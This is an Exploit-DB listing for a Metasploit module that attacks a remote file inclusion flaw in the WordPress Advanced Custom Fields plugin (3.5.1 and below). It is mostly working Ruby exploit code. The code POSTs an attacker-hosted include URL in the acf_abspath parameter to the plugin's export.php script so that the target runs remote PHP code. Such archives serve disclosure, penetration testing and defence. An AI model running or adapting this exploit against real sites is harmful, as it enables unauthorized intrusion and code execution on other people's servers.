WordPress Plugin Advanced Custom Fields - Remote File Inclusion (Metasploit)

EDB-ID:

23856

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

REMOTE

Exploit: / {}

Platform:

PHP

Date:

2013-01-03

Vulnerable App:

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::PHPInclude

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordPress Plugin Advanced Custom Fields
Remote File Inclusion',
            'Description'    => %q{
                    This module exploits a remote file inclusion flaw in
the WordPress blogging
                software plugin known as Advanced Custom Fields. The
vulnerability allows for remote
                file inclusion and remote code execution via the export.php
script. The Advanced
                Custom Fields plug-in versions 3.5.1 and below are
vulnerable. This exploit only
                works when the php option allow_url_include is set to On
(Default Off).
            },
            'Author'         =>
                [
                    'Charlie Eriksen <charlie@ceriksen.com>',
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['OSVDB', '87353'],
                    ['URL', 'http://secunia.com/advisories/51037/'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'ConnectionType' => 'find',
                        },
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Nov 14 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to
WordPress', '/']),
                OptString.new('PLUGINSPATH', [true, 'The relative path to
the plugins folder', 'wp-content/plugins/']),
            ], self.class)
    end

    def check
        uri = target_uri.path
```

```
        uri << '/' if uri[-1,1] != '/'
        uri << datastore['PLUGINSPATH']
        uri << '/' if uri[-1,1] != '/'

        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}advanced-custom-fields/core/api.php"
        })

        if res and res.code == 200
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end

    def php_exploit
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
        uri << datastore['PLUGINSPATH']
        uri << '/' if uri[-1,1] != '/'

        print_status('Sending request')
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}advanced-custom-
fields/core/actions/export.php",
            'data'   => "acf_abspath=#{php_include_url}"
        })

        if res and res.body =~ /allow_url_include/
            fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include
is disabled')
        elsif res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply
- #{res.code}")
        end

    end

end
```

Tags: Metasploit Framework (MSF) WordPress Plugin

Advisory/Source: Link